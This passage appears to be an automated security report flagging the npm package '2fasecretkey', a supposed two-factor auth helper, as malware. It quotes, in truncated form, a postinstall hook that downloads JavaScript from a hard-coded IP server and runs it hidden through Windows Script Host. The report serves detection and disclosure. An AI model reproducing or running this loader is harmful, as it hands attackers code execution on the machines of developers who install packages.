It retrieves and runs attacker-controlled JavaScript outside the package source. - **Trigger:** npm installation runs the postinstall lifecycle hook. - **Impact:** Arbitrary code from the hard-coded server can execute on Windows hosts during installation. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-27T20:52:47.862Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Remote payload download, temporary file creation, and detached hidden execution. - **Attack narrative:** During installation, the package downloads JavaScript from a hard-coded HTTP endpoint, saves it under a randomized temporary name, creates a VBS launcher, and starts it with detached hidden Windows Script Host execution. The fetched content is not included in the package, so the server can supply arbitrary code at install time. - **Rationale:** The package contains an automatic install-time remote code execution chain that is unrelated to its advertised authentication utility. This is concrete malicious behavior and warrants blocking. - **Files touched:** package.json, \/\_vc\*.js, \/\_r.vbs, wscript.exe - **Network endpoints:** http://185.14.92.233:7777/p.js ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The postinstall hook automatically downloads a script from a hard-coded remote server., The hook writes the downloaded code to a temporary JavaScript file and launches it through a detached hidden Windows Script Host process., This remote payload execution is unrelated to the stated TOTP helper functionality. - **Evidence against:** The package’s visible runtime entry point only exposes TOTP helper wrappers., No credential collection or exfiltration is visible in the included source; the remote payload was not inspected., The referenced local module lib/core is absent, so the advertised runtime functionality is incomplete. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Same File Env Network Execution - **Category:** Source - **Confidence:** 85.0% - **Path:** package.json\#scripts.postinstall - **Public source:** [View source]() A single source file combines environment access, network access, and code or shell execution; review context before blocking. Public source snippet (untrusted): ```text L1: var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(... ``` ### 5. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The postinstall hook automatically downloads a script from a hard-coded remote server. Public source snippet (untrusted): ```json "postinstall": "node -e \"var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end',function(){try{ ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** 2fasecretkey - **Ecosystem:** npm - **Version:** 1.1.3 - **License:** MIT - **Version published:** 2026-08-27T20:47:58.620Z - **Package first seen:** 2026-08-27T20:52:47.862Z - **Package last seen:** 2026-08-27T20:59:22.330Z - **Known versions:** 3 - **Latest version:** 1.1.4 - **Appeal under review:** No - **Description:** Fast, minimal two-factor auth helper for Node.js — HMAC-based OTP with zero dependencies - **Author:** secretkey2fa contributors - **Keywords:** totp, hotp, otp, 2fa, mfa, authenticator, secret-key, one-time-password - **Runtime engines:** node: \>=14 - **Artifact files:** 3 - **Artifact unpacked size:** 3,715 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()
